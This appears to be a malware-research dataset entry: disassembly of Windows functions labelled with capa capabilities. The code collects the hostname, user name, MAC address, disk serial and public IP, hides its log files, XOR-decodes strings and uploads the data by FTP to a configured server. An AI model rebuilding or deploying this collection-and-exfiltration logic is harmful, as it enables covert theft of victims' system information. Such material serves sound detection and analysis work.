joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43f05d
Capabilities:
Set file attributes

Disassembly:
push 0x24c
mov eax, 0x580b93
call fcn.0055ddbc
xor ebx, ebx
lea ecx, [ebp - 0x258]
inc ebx
mov edi, str.Temp
push ebx
push 0x40
push ebx
push edi
call fcn.004218ee
and dword [ebp - 4], 0
lea ecx, [ebp - 0x1a0]
push ebx
push 0x40
push ebx
push 0x58dacc
call fcn.004218ee
push ebx
push 0x40
push 2
push str.List
lea ecx, [ebp - 0xe8]
mov byte [ebp - 4], bl
call fcn.0042443d
push 0xf
xor ecx, ecx
pop eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
mov byte [ebp - 0x40], cl
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov byte [ebp - 0x28], cl
push 0xa
lea eax, [ebp - 0x40]
mov byte [ebp - 4], 4
push eax
lea eax, [ebp - 0x258]
push eax
call fcn.0043e417
add esp, 0xc
jmp 0x43f111
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0xe8]
push eax
call fcn.0043e276
push eax
call fcn.00432bb8
push 0xa
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x258]
push eax
call fcn.0043e417
add esp, 0x18
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
je 0x43f0e6
push 0xa
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x1a0]
push eax
call fcn.0043e417
add esp, 0xc
jmp 0x43f15f
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0xe8]
push eax
call fcn.0043e276
push eax
call fcn.00432bb8
push 0xa
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x1a0]
push eax
call fcn.0043e417
add esp, 0x18
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
je 0x43f134
lea ecx, [ebp - 0x258]
call fcn.0043e199
lea ecx, [ebp - 0x1a0]
call fcn.0043e199
lea ecx, [ebp - 0xe8]
call fcn.00424a62
push 2
push str.List
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
call fcn.0056325c
pop ecx
call fcn.0043e849
push 0
push ebx
lea ecx, [ebp - 0x28]
call fcn.004066dd
push 0
push ebx
lea ecx, [ebp - 0x40]
call fcn.004066dd
lea ecx, [ebp - 0xe8]
call fcn.00424592
lea ecx, [ebp - 0x1a0]
call fcn.00422006
lea ecx, [ebp - 0x258]
call fcn.00422006
call fcn.0055dd7a
ret

Function at 0x43f1e2
Capabilities:
Get hostname

Disassembly:
push 0xc4
mov eax, 0x580bef
call fcn.0055ddbc
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], 0x10
push eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0x43f265
push 1
push 0x40
push 8
push str.Temp
lea ecx, [ebp - 0xd0]
call fcn.0042443d
and dword [ebp - 4], 0
lea eax, [ebp - 0xd0]
push str._nComputer_Name:
push eax
call fcn.0042141f
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0xd0]
push eax
call fcn.0042141f
add esp, 0x10
lea ecx, [ebp - 0xd0]
call fcn.00424a62
call fcn.0043eea2
lea ecx, [ebp - 0xd0]
call fcn.00424592
jmp 0x43f26a
call fcn.0043eea2
call fcn.0055dd7a
ret
Function at 0x43f270
Capabilities:
Get session user name

Disassembly:
push 0xc4
mov eax, 0x580bef
call fcn.0055ddbc
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], 0x14
push eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x43f2f1
push 1
push 0x40
push 8
push str.Temp
lea ecx, [ebp - 0xd0]
call fcn.0042443d
and dword [ebp - 4], 0
lea eax, [ebp - 0xd0]
push str._nComputer_Username:
push eax
call fcn.0042141f
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0xd0]
push eax
call fcn.0042141f
add esp, 0x10
lea ecx, [ebp - 0xd0]
call fcn.00424a62
call fcn.0043f1e2
lea ecx, [ebp - 0xd0]
call fcn.00424592
call fcn.0055dd7a
ret
Function at 0x43fbc4
Capabilities:
Create thread
Encode data using xor
Set file attributes
Terminate process

Disassembly:
push 0x160
mov eax, 0x5808a3
call fcn.0055dd89
xor ebx, ebx
cmp dword [0x69682c], 1
jne 0x43fc7d
push 1
push 0x40
push 8
push str.GameGuard_Log.txt
lea ecx, [ebp - 0x16c]
call fcn.0042443d
mov dword [ebp - 0x10], 0x59502c
mov dword [ebp - 4], ebx
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x43fc52
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.00562163
mov edx, eax
xor eax, eax
mov dword [ebp - 0x10], eax
pop ecx
test esi, esi
je 0x43fc46
sub edi, edx
lea ecx, [eax + edx]
and eax, 7
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp eax, dword [ebx + 0xf]
jb 0x43fc2b
mov eax, dword [ebx + 0xf]
mov edi, edx
xor ebx, ebx
mov byte [edx + eax], bl
jmp 0x43fc54
xor ebx, ebx
lea eax, [ebp - 0x16c]
push edi
push eax
call fcn.0042141f
pop ecx
pop ecx
lea ecx, [ebp - 0x16c]
call fcn.00424a62
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x16c]
call fcn.00424592
cmp dword [0x69683c], 1
jne 0x43fd7a
lea eax, [ebp - 0x1c]
push eax
call fcn.0056300a
lea eax, [ebp - 0x1c]
push eax
call fcn.00562d6b
pop ecx
pop ecx
push 1
push 0x40
push 8
push 0x58dacc
lea ecx, [ebp - 0xc4]
mov esi, eax
call fcn.0042443d
lea eax, [ebp - 0xc4]
mov dword [ebp - 4], 1
push str._nLocal_Time:
push eax
call fcn.0042141f
push esi
call fcn.00562b5e
push eax
lea eax, [ebp - 0xc4]
push eax
call fcn.0042141f
mov dword [ebp - 0x10], 0x595064
add esp, 0x14
mov eax, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
mov dword [ebp - 0x14], eax
cmp byte [eax + 0x13], 0
je 0x43fd36
mov esi, dword [eax + 0xf]
lea eax, [esi + 1]
push eax
call fcn.00562163
test esi, esi
mov edx, eax
mov esi, dword [ebp - 0x14]
pop ecx
je 0x43fd2c
sub edi, edx
mov eax, ebx
lea ecx, [ebx + edx]
and eax, 7
mov al, byte [eax + esi + 7]
xor al, byte [edi + ecx]
inc ebx
mov byte [ecx], al
cmp ebx, dword [esi + 0xf]
jb 0x43fd15
mov eax, dword [esi + 0xf]
xor ebx, ebx
mov edi, edx
mov byte [edx + eax], bl
lea eax, [ebp - 0xc4]
push edi
push eax
call fcn.0042141f
lea eax, [ebp - 0xc4]
push str._n__________________
push eax
call fcn.0042141f
add esp, 0x10
lea ecx, [ebp - 0xc4]
call fcn.00424a62
push 2
push 0x58dacc
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0xc4]
call fcn.00424592
mov eax, dword [0x696830]
cmp eax, 1
je 0x43fdb7
cmp eax, 3
je 0x43fdb7
cmp eax, 4
je 0x43fdb7
push ebx
cmp eax, 2
jne 0x43fdb5
push ebx
push ebx
push 0x43fdc1
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x43fdaf
push ebx
push ebx
push ebx
push 0x43fe39
jmp 0x43fd9b
Function at 0x43feb1
Capabilities:
Connect to http server
Create http request
Encode data using xor
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.WININET.dll_InternetOpenA]
push ebx
push 0x8000000
push 1
push dword [0x6967a0]
mov dword [ebp - 0xc], eax
push dword [0x69679c]
push 0x15
push dword [0x696798]
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 4], 0x595184
mov esi, eax
mov ebx, dword [ebp - 4]
mov edi, dword [ebp - 4]
add edi, 0x14
mov dword [ebp - 8], esi
cmp byte [ebx + 0x13], 0
je 0x43ff4a
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.00562163
mov edx, eax
xor eax, eax
mov dword [ebp - 4], eax
pop ecx
test esi, esi
je 0x43ff3e
sub edi, edx
lea ecx, [eax + edx]
and eax, 7
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp eax, dword [ebx + 0xf]
jb 0x43ff23
mov eax, dword [ebx + 0xf]
mov edi, edx
mov esi, dword [ebp - 8]
mov byte [edx + eax], 0
push 0
push 1
push 0x80
push 1
mov ebx, 0x59517c
push ebx
push edi
push esi
call dword [sym.imp.WININET.dll_FtpGetFileA]
test eax, eax
je 0x43ff8a
push 2
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0xc]
call esi
call fcn.00440949
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
call fcn.0056325c
mov dword [esp], 0x595180
call fcn.0056325c
pop ecx
call fcn.0043fbc4
int3

Function at 0x43ffa3
Capabilities:
Capture public ip
Connect to http server
Create http request
Read data from internet
Receive data
Send file using ftp

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x66c240]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [sym.imp.WININET.dll_InternetOpenA]
xor ebx, ebx
push edi
push ebx
push ebx
push ebx
push 1
push ebx
call esi
push ebx
push ebx
push 1
push dword [0x6967a0]
push dword [0x69679c]
push 0x15
push dword [0x696798]
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
push ebx
push ebx
push ebx
push ebx
push ebx
mov edi, eax
call esi
mov ebx, eax
xor eax, eax
push eax
push closesocket
push eax
push eax
push str.http:__icanhazip.com_
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
je 0x44007c
lea eax, [ebp - 0x38]
push eax
push 0x2f
lea eax, [ebp - 0x34]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [ebp - 0x38]
cmp eax, 0x2f
jae 0x440077
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov byte [ebp + eax - 0x34], 0
call esi
push 0
push 2
lea eax, [ebp - 0x34]
push eax
push 0x595180
push edi
call dword [sym.imp.WININET.dll_FtpPutFileA]
test eax, eax
je 0x440067
push edi
call esi
push ebx
call esi
call fcn.0043feb1
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0055dcf4
mov esp, ebp
pop ebp
ret
push 0x595180
call fcn.0056325c
pop ecx
call fcn.0043fbc4
call fcn.00561f0b
call fcn.00440157
int3
Function at 0x440082
Capabilities:
Get disk information

Disassembly:
push 0x128
mov eax, 0x580af7
call fcn.0055ddbc
xor ebx, ebx
lea eax, [ebp - 0x7f]
push 0x63
push ebx
push eax
mov byte [ebp - 0x80], bl
call fcn.0055ecc0
xor eax, eax
mov byte [ebp - 0x1c], bl
add esp, 0xc
mov dword [ebp - 0x84], ebx
lea edi, [ebp - 0x1b]
mov dword [ebp - 0x88], ebx
stosd dword es:[edi], eax
mov dword [ebp - 0x8c], ebx
push 0xa
stosd dword es:[edi], eax
stosb byte es:[edi], al
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x8c]
push eax
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0x84]
push eax
push 0x64
lea eax, [ebp - 0x80]
push eax
push 0x5951b4
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
cmp eax, 1
jne 0x44014c
push eax
push 0x40
push 8
push 0x595180
lea ecx, [ebp - 0x134]
call fcn.0042443d
lea eax, [ebp - 0x134]
mov dword [ebp - 4], ebx
push 0x5951b0
push eax
call fcn.0042141f
pop ecx
pop ecx
push dword [ebp - 0x84]
lea ecx, [ebp - 0x134]
call fcn.0043f5b9
lea ecx, [ebp - 0x134]
call fcn.00424a62
call fcn.00440baa
lea ecx, [ebp - 0x134]
call fcn.00424592
jmp 0x440151
call fcn.00440c38
call fcn.0055dd7a
ret
Function at 0x440157
Capabilities:
Create thread
Encode data using xor
Set file attributes
Terminate process

Disassembly:
push 0x160
mov eax, 0x5808a3
call fcn.0055dd89
xor ebx, ebx
cmp dword [0x69682c], 1
jne 0x440210
push 1
push 0x40
push 8
push str.GameGuard_Log.txt
lea ecx, [ebp - 0x16c]
call fcn.0042443d
mov dword [ebp - 0x10], 0x59511c
mov dword [ebp - 4], ebx
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x4401e5
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.00562163
mov edx, eax
xor eax, eax
mov dword [ebp - 0x10], eax
pop ecx
test esi, esi
je 0x4401d9
sub edi, edx
lea ecx, [eax + edx]
and eax, 7
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp eax, dword [ebx + 0xf]
jb 0x4401be
mov eax, dword [ebx + 0xf]
mov edi, edx
xor ebx, ebx
mov byte [edx + eax], bl
jmp 0x4401e7
xor ebx, ebx
lea eax, [ebp - 0x16c]
push edi
push eax
call fcn.0042141f
pop ecx
pop ecx
lea ecx, [ebp - 0x16c]
call fcn.00424a62
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x16c]
call fcn.00424592
cmp dword [0x69683c], 1
jne 0x44030d
lea eax, [ebp - 0x1c]
push eax
call fcn.0056300a
lea eax, [ebp - 0x1c]
push eax
call fcn.00562d6b
pop ecx
pop ecx
push 1
push 0x40
push 8
push 0x58dacc
lea ecx, [ebp - 0xc4]
mov esi, eax
call fcn.0042443d
lea eax, [ebp - 0xc4]
mov dword [ebp - 4], 1
push str._nLocal_Time:
push eax
call fcn.0042141f
push esi
call fcn.00562b5e
push eax
lea eax, [ebp - 0xc4]
push eax
call fcn.0042141f
mov dword [ebp - 0x10], str.whS
add esp, 0x14
mov eax, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
mov dword [ebp - 0x14], eax
cmp byte [eax + 0x13], 0
je 0x4402c9
mov esi, dword [eax + 0xf]
lea eax, [esi + 1]
push eax
call fcn.00562163
test esi, esi
mov edx, eax
mov esi, dword [ebp - 0x14]
pop ecx
je 0x4402bf
sub edi, edx
mov eax, ebx
lea ecx, [ebx + edx]
and eax, 7
mov al, byte [eax + esi + 7]
xor al, byte [edi + ecx]
inc ebx
mov byte [ecx], al
cmp ebx, dword [esi + 0xf]
jb 0x4402a8
mov eax, dword [esi + 0xf]
xor ebx, ebx
mov edi, edx
mov byte [edx + eax], bl
lea eax, [ebp - 0xc4]
push edi
push eax
call fcn.0042141f
lea eax, [ebp - 0xc4]
push str._n__________________
push eax
call fcn.0042141f
add esp, 0x10
lea ecx, [ebp - 0xc4]
call fcn.00424a62
push 2
push 0x58dacc
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0xc4]
call fcn.00424592
mov eax, dword [0x696830]
cmp eax, 1
je 0x44034a
cmp eax, 3
je 0x44034a
cmp eax, 4
je 0x44034a
push ebx
cmp eax, 2
jne 0x440348
push ebx
push ebx
push 0x440354
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x440342
push ebx
push ebx
push ebx
push 0x4403cc
jmp 0x44032e
Function at 0x4406af
Capabilities:
Encode data using xor
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push edi
push 0x14
mov dword [ebp - 4], 4
call fcn.00562163
mov esi, eax
lea eax, [ebp - 4]
pop ecx
push eax
push 0x288
mov dword [ebp - 0x18], esi
call fcn.00562163
pop ecx
push eax
call sub.IPHLPAPI.DLL_GetAdaptersInfo
cmp eax, 0x6f
jne 0x4407bc
push dword [ebp - 4]
call fcn.00562163
mov edi, eax
lea eax, [ebp - 4]
pop ecx
push eax
push edi
mov dword [ebp - 0x14], edi
call sub.IPHLPAPI.DLL_GetAdaptersInfo
test eax, eax
jne 0x4407ad
mov dword [ebp - 8], 0x5951b8
mov eax, dword [ebp - 8]
push ebx
mov ebx, dword [ebp - 8]
add ebx, 0x14
mov dword [ebp - 0x10], eax
cmp byte [eax + 0x13], 0
je 0x440772
mov esi, dword [eax + 0xf]
lea eax, [esi + 1]
push eax
call fcn.00562163
mov edx, dword [ebp - 0x10]
pop ecx
mov ecx, eax
xor eax, eax
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], eax
test esi, esi
je 0x440766
mov edi, ecx
sub ebx, edi
lea ecx, [eax + edi]
and eax, 7
mov al, byte [eax + edx + 7]
xor al, byte [ebx + ecx]
mov byte [ecx], al
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp eax, dword [edx + 0xf]
jb 0x440745
mov edi, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
mov eax, dword [edx + 0xf]
mov ebx, ecx
mov esi, dword [ebp - 0x18]
mov byte [ecx + eax], 0
movzx eax, byte [edi + 0x199]
push eax
movzx eax, byte [edi + 0x198]
push eax
movzx eax, byte [edi + 0x197]
push eax
movzx eax, byte [edi + 0x196]
push eax
movzx eax, byte [edi + 0x195]
push eax
movzx eax, byte [edi + 0x194]
push eax
push ebx
push esi
call fcn.0055f31c
add esp, 0x20
pop ebx
push edi
call fcn.0056212b
pop ecx
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
call fcn.0043f810
int3

Function at 0x4407c2
Capabilities:
Create thread

Disassembly:
push 0x59517c
call fcn.0056325c
mov dword [esp], 0x595180
call fcn.0056325c
mov dword [esp], 0x594e04
call fcn.0056325c
pop ecx
xor eax, eax
push eax
push eax
push eax
push 0x440b60
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret
Function at 0x440949
Capabilities:
Set file attributes

Disassembly:
push 0x24c
mov eax, 0x580b93
call fcn.0055ddbc
xor ebx, ebx
lea ecx, [ebp - 0x258]
inc ebx
mov edi, 0x595180
push ebx
push 0x40
push ebx
push edi
call fcn.004218ee
and dword [ebp - 4], 0
lea ecx, [ebp - 0x1a0]
push ebx
push 0x40
push ebx
push 0x59517c
call fcn.004218ee
push ebx
push 0x40
push 2
push 0x594e04
lea ecx, [ebp - 0xe8]
mov byte [ebp - 4], bl
call fcn.0042443d
push 0xf
xor ecx, ecx
pop eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
mov byte [ebp - 0x40], cl
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov byte [ebp - 0x28], cl
push 0xa
lea eax, [ebp - 0x40]
mov byte [ebp - 4], 4
push eax
lea eax, [ebp - 0x258]
push eax
call fcn.0043e417
add esp, 0xc
jmp 0x4409fd
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0xe8]
push eax
call fcn.0043e276
push eax
call fcn.00432bb8
push 0xa
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x258]
push eax
call fcn.0043e417
add esp, 0x18
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
je 0x4409d2
push 0xa
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x1a0]
push eax
call fcn.0043e417
add esp, 0xc
jmp 0x440a4b
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0xe8]
push eax
call fcn.0043e276
push eax
call fcn.00432bb8
push 0xa
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x1a0]
push eax
call fcn.0043e417
add esp, 0x18
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
je 0x440a20
lea ecx, [ebp - 0x258]
call fcn.0043e199
lea ecx, [ebp - 0x1a0]
call fcn.0043e199
lea ecx, [ebp - 0xe8]
call fcn.00424a62
push 2
push 0x594e04
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x59517c
call fcn.0056325c
push edi
call fcn.0056325c
pop ecx
pop ecx
call fcn.004407f8
push 0
push ebx
lea ecx, [ebp - 0x28]
call fcn.004066dd
push 0
push ebx
lea ecx, [ebp - 0x40]
call fcn.004066dd
lea ecx, [ebp - 0xe8]
call fcn.00424592
lea ecx, [ebp - 0x1a0]
call fcn.00422006
lea ecx, [ebp - 0x258]
call fcn.00422006
call fcn.0055dd7a
ret

Function at 0x440b4d
Capabilities:
Create thread

Disassembly:
xor eax, eax
push eax
push eax
push eax
push 0x440ad9
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret

Function at 0x440baa
Capabilities:
Get hostname

Disassembly:
push 0xc4
mov eax, 0x580bef
call fcn.0055ddbc
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], 0x10
push eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0x440c2d
push 1
push 0x40
push 8
push 0x595180
lea ecx, [ebp - 0xd0]
call fcn.0042443d
and dword [ebp - 4], 0
lea eax, [ebp - 0xd0]
push 0x5951b0
push eax
call fcn.0042141f
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0xd0]
push eax
call fcn.0042141f
add esp, 0x10
lea ecx, [ebp - 0xd0]
call fcn.00424a62
call fcn.00440c38
lea ecx, [ebp - 0xd0]
call fcn.00424592
jmp 0x440c32
call fcn.00440c38
call fcn.0055dd7a
ret
Function at 0x440c38
Capabilities:
Get session user name

Disassembly:
push 0x114
mov eax, 0x580c22
call fcn.0055ddbc
lea eax, [ebp - 0x78]
mov dword [ebp - 0x78], 0x64
push eax
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x440cb9
push 1
push 0x40
push 8
push 0x595180
lea ecx, [ebp - 0x120]
call fcn.0042443d
and dword [ebp - 4], 0
lea eax, [ebp - 0x120]
push 0x5951b0
push eax
call fcn.0042141f
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.0042141f
add esp, 0x10
lea ecx, [ebp - 0x120]
call fcn.00424a62
call fcn.0043ffa3
lea ecx, [ebp - 0x120]
call fcn.00424592
call fcn.0055dd7a
ret
Function at 0x440ffe
Capabilities:
Create thread

Disassembly:
xor eax, eax
push eax
push eax
push eax
push 0x440fca
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret

Function at 0x441155
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp dword [0x696730], 0xb7
push ebx
push esi
push edi
jne 0x4412b7
mov eax, dword [0x696830]
xor ebx, ebx
cmp eax, 1
jne 0x4411f6
mov dword [ebp - 4], 0x595310
mov eax, dword [ebp - 4]
mov edi, dword [ebp - 4]
add edi, 0x14
mov dword [ebp - 0xc], eax
cmp byte [eax + 0x13], bl
je 0x4411dc
mov esi, dword [eax + 0xf]
lea eax, [esi + 1]
push eax
call fcn.00562163
mov edx, dword [ebp - 0xc]
pop ecx
mov ecx, eax
mov eax, ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test esi, esi
je 0x4411d4
mov ebx, ecx
sub edi, ebx
lea ecx, [eax + ebx]
and eax, 7
mov al, byte [eax + edx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp eax, dword [edx + 0xf]
jb 0x4411b4
mov ecx, dword [ebp - 8]
xor ebx, ebx
mov eax, dword [edx + 0xf]
mov edi, ecx
mov byte [ecx + eax], bl
push 0x200030
push dword [0x6967ac]
push edi
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp eax, 2
jne 0x441255
mov dword [ebp - 0xc], str.9_r__
mov eax, dword [ebp - 0xc]
mov edi, dword [ebp - 0xc]
add edi, 0x14
mov dword [ebp - 4], eax
cmp byte [eax + 0x13], bl
je 0x4411dc
mov esi, dword [eax + 0xf]
lea eax, [esi + 1]
push eax
call fcn.00562163
mov edx, dword [ebp - 4]
pop ecx
mov ecx, eax
mov eax, ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], eax
test esi, esi
je 0x4411d4
mov ebx, ecx
sub edi, ebx
lea ecx, [eax + ebx]
and eax, 7
mov al, byte [eax + edx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp eax, dword [edx + 0xf]
jb 0x441235
jmp 0x4411cf
mov dword [ebp - 0xc], 0x595310
mov eax, dword [ebp - 0xc]
mov edi, dword [ebp - 0xc]
add edi, 0x14
mov dword [ebp - 4], eax
cmp byte [eax + 0x13], bl
je 0x4411dc
mov esi, dword [eax + 0xf]
lea eax, [esi + 1]
push eax
call fcn.00562163
mov edx, dword [ebp - 4]
pop ecx
mov ecx, eax
mov eax, ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], eax
test esi, esi
je 0x4411d4
mov ebx, ecx
sub edi, ebx
lea ecx, [eax + ebx]
and eax, 7
mov al, byte [eax + edx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp eax, dword [edx + 0xf]
jb 0x441297
jmp 0x4411cf
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret